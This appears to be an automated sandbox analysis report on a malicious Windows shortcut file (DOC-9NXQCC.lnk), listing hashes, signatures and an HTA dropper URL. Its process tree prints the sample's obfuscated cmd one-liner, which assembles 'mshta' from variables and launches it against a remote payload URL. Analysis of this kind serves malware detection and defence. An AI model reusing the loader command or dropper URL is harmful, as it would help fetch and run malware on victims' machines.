Analysis
- max time kernel
148s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-9NXQCC.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-9NXQCC.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-9NXQCC.lnk
- Size 1KB
- Sample260804-kbftkazzhv
- SHA256 4adad8ca034dfbe84ffdae1cae1e32a763d9f1046febf3123357c3d74746c0f2
- MD5 2dc8212e077decf3ee62684970eae5fa
- SHA1 68e86acc3f1fa3c071a193e4345112fb2c8f7738
- SHA512 a15e6ff4935d63d9d30539ba2570d79aacafb0150b9ebcffb3849f750f047ad625694ce60e55277b09d05013f864308a278d03823c233a540209d2b56aceb88d
- TLSH T1E73197403FEC0624F3B78E7398BB5B2085BBB8558D20CA2E0180460C1032A15E53BF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3720 cmd.exe 2348 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3720 wrote to memory of 2348 3720 cmd.exe 90 PID 2348 wrote to memory of 5212 2348 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-9NXQCC.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3720 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set YVfby=msh&&set lB=ta&&start "" !YVfby!!lB! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5212
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